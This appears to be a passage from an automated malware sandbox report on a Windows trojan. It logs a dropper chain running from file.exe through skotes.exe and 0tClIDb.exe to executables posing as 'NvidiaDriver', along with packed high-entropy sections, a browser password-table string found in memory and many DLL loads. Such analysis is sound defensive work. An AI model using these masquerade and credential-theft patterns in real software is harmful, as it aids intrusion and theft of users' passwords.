Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C884D1	7_3_00C884D1

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 004A80C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ADD64E appears 79 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AD7A00 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ADD942 appears 85 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ADD663 appears 40 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00ADDF80 appears 81 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AD80C0 appears 391 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00AF8E10 appears 47 times

Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr

Static PE information: Number of sections : 18 > 10

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0tClIDb[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9979009119217082
Source: 0tClIDb[1].exe.6.dr	Static PE information: Section: tgrwqosf ZLIB complexity 0.9944222813238771
Source: 0tClIDb.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9979009119217082
Source: 0tClIDb.exe.6.dr	Static PE information: Section: tgrwqosf ZLIB complexity 0.9944222813238771

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@18/49@4/5

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0tClIDb[1].exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3156:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 0tClIDb.exe, 00000007.00000003.2492069042.00000000058C7000.00000004.00000800.00020000.00000000.sdmp, 0tClIDb.exe, 00000007.00000003.2492591347.0000000005895000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 0tClIDb.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: GRtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeW

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe "C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe"
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Process created: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe "C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe"
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe"
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe" --vision
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe" --vision
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe"
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe" --vision
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe "C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Process created: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe "C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe" --vision
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe "C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
